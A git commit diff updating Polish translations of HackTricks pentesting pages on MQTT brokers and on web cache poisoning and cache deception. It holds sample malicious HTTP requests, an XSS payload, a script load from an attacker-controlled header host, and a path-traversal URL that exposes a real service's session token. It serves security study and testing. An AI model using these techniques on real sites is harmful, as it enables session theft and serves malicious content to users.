mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui
This commit is contained in:
Translator
parent
495538f770
commit
b67f83d2f4
@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**MQ Telemetry Transport (MQTT)** jest znany jako **protokół komunikacyjny typu publish/subscribe**, który wyróżnia się ekstremalną prostotą i lekkością. Protokół ten jest specjalnie dostosowany do środowisk, w których urządzenia mają ograniczone możliwości i działają w sieciach charakteryzujących się niską przepustowością, dużą latencją lub niestabilnymi połączeniami. Główne cele MQTT obejmują minimalizację wykorzystania przepustowości sieci oraz redukcję zapotrzebowania na zasoby urządzeń. Dodatkowo, ma na celu utrzymanie niezawodnej komunikacji i zapewnienie pewnego poziomu gwarancji dostawy. Cele te sprawiają, że MQTT jest wyjątkowo odpowiedni dla rozwijającej się dziedziny **komunikacji maszyna-do-maszyny (M2M)** oraz **Internetu Rzeczy (IoT)**, gdzie kluczowe jest efektywne łączenie wielu urządzeń. Ponadto, MQTT jest bardzo korzystny dla aplikacji mobilnych, gdzie oszczędzanie przepustowości i żywotności baterii jest kluczowe.
|
||||
**MQ Telemetry Transport (MQTT)** jest znany jako **protokół komunikacyjny typu publish/subscribe**, który wyróżnia się swoją ekstremalną prostotą i lekkością. Protokół ten jest specjalnie dostosowany do środowisk, w których urządzenia mają ograniczone możliwości i działają w sieciach charakteryzujących się niską przepustowością, dużą latencją lub niestabilnymi połączeniami. Główne cele MQTT obejmują minimalizację wykorzystania przepustowości sieci oraz redukcję zapotrzebowania na zasoby urządzeń. Dodatkowo, ma na celu utrzymanie niezawodnej komunikacji i zapewnienie pewnego poziomu gwarancji dostarczenia. Cele te sprawiają, że MQTT jest wyjątkowo odpowiedni dla rozwijającej się dziedziny **komunikacji maszyna-do-maszyny (M2M)** oraz **Internetu Rzeczy (IoT)**, gdzie kluczowe jest efektywne łączenie wielu urządzeń. Ponadto, MQTT jest bardzo korzystny dla aplikacji mobilnych, gdzie oszczędzanie przepustowości i żywotności baterii jest kluczowe.
|
||||
|
||||
**Domyślny port:** 1883
|
||||
```
|
||||
@ -13,9 +13,9 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
## Inspecting the traffic
|
||||
|
||||
Gdy pakiet **CONNECT** jest odbierany przez brokerów MQTT, pakiet **CONNACK** jest wysyłany z powrotem. Pakiet ten zawiera kod zwrotny, który jest kluczowy dla zrozumienia statusu połączenia. Kod zwrotny **0x00** oznacza, że dane uwierzytelniające zostały zaakceptowane, co oznacza udane połączenie. Z drugiej strony, kod zwrotny **0x05** sygnalizuje, że dane uwierzytelniające są nieprawidłowe, co uniemożliwia połączenie.
|
||||
Gdy brokerzy MQTT otrzymują pakiet **CONNECT**, wysyłany jest pakiet **CONNACK**. Pakiet ten zawiera kod zwrotny, który jest kluczowy dla zrozumienia statusu połączenia. Kod zwrotny **0x00** oznacza, że dane uwierzytelniające zostały zaakceptowane, co oznacza udane połączenie. Z drugiej strony, kod zwrotny **0x05** sygnalizuje, że dane uwierzytelniające są nieprawidłowe, co uniemożliwia połączenie.
|
||||
|
||||
Na przykład, jeśli broker odrzuca połączenie z powodu nieprawidłowych danych uwierzytelniających, scenariusz wyglądałby mniej więcej tak:
|
||||
Na przykład, jeśli broker odrzuci połączenie z powodu nieprawidłowych danych uwierzytelniających, scenariusz wyglądałby mniej więcej tak:
|
||||
```
|
||||
{
|
||||
"returnCode": "0x05",
|
||||
@ -28,7 +28,7 @@ Na przykład, jeśli broker odrzuca połączenie z powodu nieprawidłowych danyc
|
||||
|
||||
## Pentesting MQTT
|
||||
|
||||
**Uwierzytelnianie jest całkowicie opcjonalne** i nawet jeśli uwierzytelnianie jest przeprowadzane, **szyfrowanie nie jest domyślnie używane** (dane uwierzytelniające są wysyłane w postaci niezaszyfrowanej). Ataki MITM mogą nadal być przeprowadzane w celu kradzieży haseł.
|
||||
**Uwierzytelnienie jest całkowicie opcjonalne** i nawet jeśli uwierzytelnienie jest wykonywane, **szyfrowanie nie jest domyślnie używane** (dane uwierzytelniające są wysyłane w postaci niezaszyfrowanej). Ataki MITM mogą nadal być przeprowadzane w celu kradzieży haseł.
|
||||
|
||||
Aby połączyć się z usługą MQTT, możesz użyć: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) i subskrybować się do wszystkich tematów, wykonując:
|
||||
```
|
||||
@ -73,17 +73,13 @@ client.loop_start()
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Więcej informacji
|
||||
|
||||
stąd: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
|
||||
### Wzorzec Publikacji/Subskrypcji <a href="#b667" id="b667"></a>
|
||||
|
||||
Model publikacji/subskrypcji składa się z:
|
||||
|
||||
- **Publisher**: publikuje wiadomość do jednego (lub wielu) tematów w brokerze.
|
||||
- **Subscriber**: subskrybuje jeden (lub wiele) tematów w brokerze i otrzymuje wszystkie wiadomości wysyłane przez publikatora.
|
||||
- **Broker**: kieruje wszystkimi wiadomościami od publikatorów do subskrybentów.
|
||||
- **Subscriber**: subskrybuje jeden (lub wiele) tematów w brokerze i otrzymuje wszystkie wiadomości wysyłane przez publishera.
|
||||
- **Broker**: kieruje wszystkimi wiadomościami od publisherów do subskrybentów.
|
||||
- **Topic**: składa się z jednego lub więcej poziomów oddzielonych ukośnikiem (np. /smartshouse/livingroom/temperature).
|
||||
|
||||
### Format Pakietu <a href="#f15a" id="f15a"></a>
|
||||
|
||||
@ -1,31 +1,31 @@
|
||||
# Cache Poisoning and Cache Deception
|
||||
# Zatrucie pamięci podręcznej i oszustwo pamięci podręcznej
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Różnica
|
||||
|
||||
> **Jaka jest różnica między złośliwym buforowaniem a oszustwem buforowania?**
|
||||
> **Jaka jest różnica między zatruciem pamięci podręcznej a oszustwem pamięci podręcznej?**
|
||||
>
|
||||
> - W **złośliwym buforowaniu** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej złośliwą zawartość, która jest następnie serwowana innym użytkownikom aplikacji.
|
||||
> - W **oszustwie buforowania** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.
|
||||
> - W **zatruciu pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej złośliwą zawartość, która jest następnie serwowana innym użytkownikom aplikacji.
|
||||
> - W **oszustwie pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.
|
||||
|
||||
## Złośliwe buforowanie
|
||||
## Zatrucie pamięci podręcznej
|
||||
|
||||
Złośliwe buforowanie ma na celu manipulację pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia pamięci podręcznej.
|
||||
Zatrucie pamięci podręcznej ma na celu manipulację pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia pamięci podręcznej.
|
||||
|
||||
Wykonanie ataku złośliwego buforowania obejmuje kilka kroków:
|
||||
Wykonanie ataku zatrucia pamięci podręcznej obejmuje kilka kroków:
|
||||
|
||||
1. **Identyfikacja niekluczowych wejść**: Są to parametry, które, chociaż nie są wymagane do buforowania żądania, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystywane do manipulacji pamięcią podręczną.
|
||||
1. **Identyfikacja niekluczowych wejść**: Są to parametry, które, chociaż nie są wymagane do zbuforowania żądania, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystywane do manipulacji pamięcią podręczną.
|
||||
2. **Wykorzystanie niekluczowych wejść**: Po zidentyfikowaniu niekluczowych wejść, kolejnym krokiem jest ustalenie, jak niewłaściwie wykorzystać te parametry, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego.
|
||||
3. **Zapewnienie, że skażona odpowiedź jest buforowana**: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź jest przechowywana w pamięci podręcznej. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas zanieczyszczenia pamięci podręcznej otrzyma skażoną odpowiedź.
|
||||
3. **Zapewnienie, że skażona odpowiedź jest zbuforowana**: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź jest przechowywana w pamięci podręcznej. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas zanieczyszczenia pamięci podręcznej otrzyma skażoną odpowiedź.
|
||||
|
||||
### Odkrycie: Sprawdź nagłówki HTTP
|
||||
|
||||
Zazwyczaj, gdy odpowiedź została **przechowywana w pamięci podręcznej**, będzie **nagłówek to wskazujący**, możesz sprawdzić, które nagłówki powinieneś obserwować w tym poście: [**Nagłówki pamięci podręcznej HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Odkrycie: Kody błędów buforowania
|
||||
### Odkrycie: Kody błędów pamięci podręcznej
|
||||
|
||||
Jeśli myślisz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować **wysłać żądania z błędnym nagłówkiem**, na które powinieneś otrzymać **kod statusu 400**. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli **odpowiedź to kod statusu 400**, wiesz, że jest podatne (a nawet możesz przeprowadzić DoS).
|
||||
Jeśli myślisz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować **wysłać żądania z błędnym nagłówkiem**, na które powinno być odpowiedziane **kodem statusu 400**. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli **odpowiedź to kod statusu 400**, wiesz, że jest podatne (a nawet możesz przeprowadzić DoS).
|
||||
|
||||
Możesz znaleźć więcej opcji w:
|
||||
|
||||
@ -37,26 +37,26 @@ Jednak zauważ, że **czasami te rodzaje kodów statusu nie są buforowane**, wi
|
||||
|
||||
### Odkrycie: Identyfikacja i ocena niekluczowych wejść
|
||||
|
||||
Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943), aby **brute-forcować parametry i nagłówki**, które mogą **zmieniać odpowiedź strony**. Na przykład, strona może używać nagłówka `X-Forwarded-For`, aby wskazać klientowi załadowanie skryptu stamtąd:
|
||||
Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943), aby **bruteforce'ować parametry i nagłówki**, które mogą **zmieniać odpowiedź strony**. Na przykład, strona może używać nagłówka `X-Forwarded-For`, aby wskazać klientowi załadowanie skryptu stamtąd:
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### Wydobycie szkodliwej odpowiedzi z serwera zaplecza
|
||||
|
||||
Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest **sanitizowany** i **gdzie** jest **odzwierciedlany** lub wpływa na odpowiedź z nagłówka. Czy możesz to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez siebie kod JS? przeprowadzić DoS?...)
|
||||
Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest on **sanitizowany** i **gdzie** jest **odzwierciedlany** lub wpływa na odpowiedź z nagłówka. Czy możesz to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez siebie kod JS? wykonać DoS?...)
|
||||
|
||||
### Uzyskaj odpowiedź w pamięci podręcznej
|
||||
|
||||
Gdy już **zidentyfikujesz** **stronę**, którą można wykorzystać, który **parametr**/**nagłówek** użyć i **jak** go **wykorzystać**, musisz uzyskać stronę w pamięci podręcznej. W zależności od zasobu, który próbujesz umieścić w pamięci podręcznej, może to zająć trochę czasu, możesz musieć próbować przez kilka sekund.
|
||||
|
||||
Nagłówek **`X-Cache`** w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość **`miss`**, gdy żądanie nie zostało zapisane w pamięci podręcznej, oraz wartość **`hit`**, gdy jest w pamięci podręcznej.\
|
||||
Nagłówek **`Cache-Control`** jest również interesujący, aby wiedzieć, czy zasób jest buforowany i kiedy będzie następny raz buforowany: `Cache-Control: public, max-age=1800`
|
||||
Nagłówek **`Cache-Control`** jest również interesujący, aby wiedzieć, czy zasób jest zapisywany w pamięci podręcznej i kiedy będzie następny raz zapisywany: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Innym interesującym nagłówkiem jest **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zanieczyścić pamięć podręczną dla użytkowników używających tego konkretnego `User-Agent`.
|
||||
Innym interesującym nagłówkiem jest **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zanieczyścić pamięć podręczną dla użytkowników korzystających z tego konkretnego `User-Agent`.
|
||||
|
||||
Jeszcze jednym nagłówkiem związanym z pamięcią podręczną jest **`Age`**. Określa czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy.
|
||||
|
||||
Podczas buforowania żądania, bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **używane w sposób nieoczekiwany** jako **kluczowane**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** zanieczyszczenie pamięci podręcznej za pomocą **różnych przeglądarek**, aby sprawdzić, czy działa.
|
||||
Podczas buforowania żądania, bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **używane w sposób nieoczekiwany** jako **kluczowane**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** zanieczyszczenie pamięci podręcznej przy użyciu **różnych przeglądarek**, aby sprawdzić, czy działa.
|
||||
|
||||
## Przykłady wykorzystania
|
||||
|
||||
@ -77,9 +77,17 @@ _Note that this will poison a request to `/en?region=uk` not to `/en`_
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### Cache poisoning through CDNs
|
||||
|
||||
W **[tym opisie](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** wyjaśniono następujący prosty scenariusz:
|
||||
|
||||
- CDN będzie cache'ować wszystko pod `/share/`
|
||||
- CDN NIE zdekoduje ani nie znormalizuje `%2F..%2F`, dlatego może być użyty jako **path traversal do uzyskania dostępu do innych wrażliwych lokalizacji, które będą cache'owane**, jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Serwer WWW ZDEKODUJE i znormalizuje `%2F..%2F`, i odpowie `/api/auth/session`, który **zawiera token autoryzacji**.
|
||||
|
||||
### Using web cache poisoning to exploit cookie-handling vulnerabilities
|
||||
|
||||
Ciasteczka mogą być również odzwierciedlane w odpowiedzi strony. Jeśli możesz to wykorzystać do spowodowania XSS na przykład, możesz być w stanie wykorzystać XSS w kilku klientach, które ładują złośliwą odpowiedź z pamięci podręcznej.
|
||||
Ciasteczka mogą być również odzwierciedlane w odpowiedzi strony. Jeśli możesz to wykorzystać, aby spowodować XSS na przykład, możesz być w stanie wykorzystać XSS w kilku klientach, które ładują złośliwą odpowiedź z cache.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
@ -116,7 +124,7 @@ X-Forwarded-Scheme: http
|
||||
```
|
||||
### Wykorzystywanie z ograniczonym nagłówkiem `Vary`
|
||||
|
||||
Jeśli odkryłeś, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**. W takim razie musisz znaleźć sposób na wyekstrahowanie User-Agent ofiary i zanieczyszczenie pamięci podręcznej, używając tego user agenta:
|
||||
Jeśli odkryłeś, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**. W takim razie musisz znaleźć sposób na wyekstrahowanie User-Agent ofiary i zanieczyszczenie pamięci podręcznej przy użyciu tego user agenta:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -136,65 +144,65 @@ report=innocent-victim
|
||||
```
|
||||
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### Parameter Cloacking
|
||||
### Ukrywanie parametrów
|
||||
|
||||
Na przykład, możliwe jest oddzielenie **parametrów** w serwerach ruby za pomocą znaku **`;`** zamiast **`&`**. Może to być użyte do umieszczania wartości parametrów bez kluczy wewnątrz tych z kluczami i ich nadużywania.
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
### Wykorzystywanie zatrucia pamięci podręcznej HTTP poprzez nadużywanie HTTP Request Smuggling
|
||||
|
||||
Dowiedz się tutaj, jak przeprowadzać [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
Dowiedz się tutaj, jak przeprowadzać [ataki na zatrucie pamięci podręcznej, nadużywając HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
### Automatyczne testowanie dla zatrucia pamięci podręcznej
|
||||
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być użyty do automatycznego testowania pod kątem web cache poisoning. Obsługuje wiele różnych technik i jest wysoce konfigurowalny.
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być używany do automatycznego testowania pod kątem zatrucia pamięci podręcznej. Obsługuje wiele różnych technik i jest wysoce konfigurowalny.
|
||||
|
||||
Example usage: `wcvs -u example.com`
|
||||
Przykład użycia: `wcvs -u example.com`
|
||||
|
||||
## Vulnerable Examples
|
||||
## Przykłady podatności
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS przesłał fragment w URL bez jego usuwania i wygenerował klucz cache tylko przy użyciu hosta, ścieżki i zapytania (ignorując fragment). Tak więc żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz cache nie zawierał ładunku, tylko host, ścieżkę i zapytanie.
|
||||
ATS przesłał fragment w URL bez jego usuwania i wygenerował klucz pamięci podręcznej, używając tylko hosta, ścieżki i zapytania (ignorując fragment). Tak więc żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz pamięci podręcznej nie zawierał ładunku, tylko host, ścieżkę i zapytanie.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
Wysłanie złej wartości w nagłówku content-type spowodowało wyzwolenie odpowiedzi 405 w cache. Klucz cache zawierał ciasteczko, więc możliwe było zaatakowanie tylko użytkowników nieautoryzowanych.
|
||||
Wysłanie złej wartości w nagłówku content-type spowodowało wyzwolenie odpowiedzi 405 w pamięci podręcznej. Klucz pamięci podręcznej zawierał ciasteczko, więc możliwe było zaatakowanie tylko użytkowników nieautoryzowanych.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab używa koszy GCP do przechowywania treści statycznych. **GCP Buckets** obsługują **nagłówek `x-http-method-override`**. Tak więc możliwe było wysłanie nagłówka `x-http-method-override: HEAD` i zanieczyszczenie cache, aby zwrócić pustą treść odpowiedzi. Mogło to również wspierać metodę `PURGE`.
|
||||
GitLab używa koszy GCP do przechowywania treści statycznych. **GCP Buckets** obsługują **nagłówek `x-http-method-override`**. Możliwe było więc wysłanie nagłówka `x-http-method-override: HEAD` i zatrucie pamięci podręcznej, aby zwrócić pustą treść odpowiedzi. Mogło to również wspierać metodę `PURGE`.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
W aplikacjach Ruby on Rails często wykorzystywane jest middleware Rack. Celem kodu Rack jest pobranie wartości nagłówka **`x-forwarded-scheme`** i ustawienie jej jako schematu żądania. Gdy nagłówek `x-forwarded-scheme: http` jest wysyłany, następuje przekierowanie 301 do tej samej lokalizacji, co potencjalnie może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo, aplikacja może uznawać nagłówek `X-forwarded-host` i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa.
|
||||
W aplikacjach Ruby on Rails często wykorzystywane jest middleware Rack. Celem kodu Rack jest pobranie wartości nagłówka **`x-forwarded-scheme`** i ustawienie go jako schematu żądania. Gdy nagłówek `x-forwarded-scheme: http` jest wysyłany, następuje przekierowanie 301 do tej samej lokalizacji, co potencjalnie może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo, aplikacja może uznawać nagłówek `X-forwarded-host` i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa.
|
||||
|
||||
### 403 and Storage Buckets
|
||||
### 403 i Kosze przechowywania
|
||||
|
||||
Cloudflare wcześniej cache'ował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była cache'owana. Chociaż Cloudflare przestał cache'ować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy.
|
||||
Cloudflare wcześniej buforował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była buforowana. Chociaż Cloudflare przestał buforować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy.
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
### Wstrzykiwanie parametrów z kluczami
|
||||
|
||||
Cache często zawiera konkretne parametry GET w kluczu cache. Na przykład, Varnish Fastly cache'ował parametr `size` w żądaniach. Jednak jeśli wysłano również URL-encoded wersję parametru (np. `siz%65`) z błędną wartością, klucz cache byłby skonstruowany przy użyciu poprawnego parametru `size`. Jednak backend przetwarzałby wartość w URL-encoded parametrze. URL-encoding drugiego parametru `size` prowadził do jego pominięcia przez cache, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało cache'owalnym błędem 400 Bad Request.
|
||||
Pamięci podręczne często zawierają konkretne parametry GET w kluczu pamięci podręcznej. Na przykład, Varnish Fastly buforował parametr `size` w żądaniach. Jednak jeśli wysłano również wersję zakodowaną URL parametru (np. `siz%65`) z błędną wartością, klucz pamięci podręcznej byłby skonstruowany przy użyciu poprawnego parametru `size`. Niemniej jednak backend przetwarzałby wartość w zakodowanym URL parametrze. Zakodowanie URL drugiego parametru `size` prowadziło do jego pominięcia przez pamięć podręczną, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało buforowanym błędem 400 Bad Request.
|
||||
|
||||
### User Agent Rules
|
||||
### Zasady User Agent
|
||||
|
||||
Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że podejście to może wprowadzać luki, takie jak cache poisoning i DoS.
|
||||
Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że podejście to może wprowadzać luki, takie jak zatrucie pamięci podręcznej i DoS.
|
||||
|
||||
### Illegal Header Fields
|
||||
### Nieprawidłowe pola nagłówków
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i cache'uje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzorzec, w którym wysłanie nagłówka z nielegalnym znakiem, takim jak `\`, skutkowało cache'owalnym błędem 400 Bad Request.
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i buforuje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzór, w którym wysłanie nagłówka z nieprawidłowym znakiem, takim jak `\`, skutkowało buforowanym błędem 400 Bad Request.
|
||||
|
||||
### Finding new headers
|
||||
### Znajdowanie nowych nagłówków
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## Cache Deception
|
||||
## Oszustwo pamięci podręcznej
|
||||
|
||||
Celem Cache Deception jest sprawienie, aby klienci **ładowali zasoby, które mają być zapisane w cache z ich wrażliwymi informacjami**.
|
||||
Celem Oszustwa pamięci podręcznej jest sprawienie, aby klienci **ładowali zasoby, które mają być zapisane przez pamięć podręczną z ich wrażliwymi informacjami**.
|
||||
|
||||
Przede wszystkim zauważ, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **konfigurowane** do **zapisywania** w **cache.** Dlatego, jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, cache prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Ale, jeśli **aplikacja** odpowiada **wrażliwymi** treściami użytkownika przechowywanymi w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników.
|
||||
Przede wszystkim należy zauważyć, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **konfigurowane** do **zapisywania** w **pamięci podręcznej.** Dlatego, jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, pamięć podręczna prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Ale, jeśli **aplikacja** odpowiada **wrażliwymi** treściami użytkownika przechowywanymi w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników.
|
||||
|
||||
Inne rzeczy do przetestowania:
|
||||
|
||||
@ -206,18 +214,18 @@ Inne rzeczy do przetestowania:
|
||||
- _Użyj mniej znanych rozszerzeń, takich jak_ `.avif`
|
||||
|
||||
Inny bardzo jasny przykład można znaleźć w tym opisie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, taką jak _http://www.example.com/home.php/non-existent.css_, treść _http://www.example.com/home.php_ (**z wrażliwymi informacjami użytkownika**) zostanie zwrócona, a serwer cache zapisze wynik.\
|
||||
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, taką jak _http://www.example.com/home.php/non-existent.css_, treść _http://www.example.com/home.php_ (**z wrażliwymi informacjami użytkownika**) zostanie zwrócona, a serwer pamięci podręcznej zapisze wynik.\
|
||||
Następnie **atakujący** może uzyskać dostęp do _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i obserwować **poufne informacje** użytkowników, którzy uzyskali dostęp wcześniej.
|
||||
|
||||
Zauważ, że **cache proxy** powinno być **skonfigurowane** do **cache'owania** plików **na podstawie** **rozszerzenia** pliku (_.css_) a nie na podstawie content-type. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miało `text/html` content-type zamiast `text/css` mime type (co jest oczekiwane dla pliku _.css_).
|
||||
Zauważ, że **proxy pamięci podręcznej** powinno być **skonfigurowane** do **buforowania** plików **na podstawie** **rozszerzenia** pliku (_.css_) a nie na podstawie typu zawartości. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miał typ zawartości `text/html` zamiast `text/css` (co jest oczekiwane dla pliku _.css_).
|
||||
|
||||
Dowiedz się tutaj, jak przeprowadzać [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
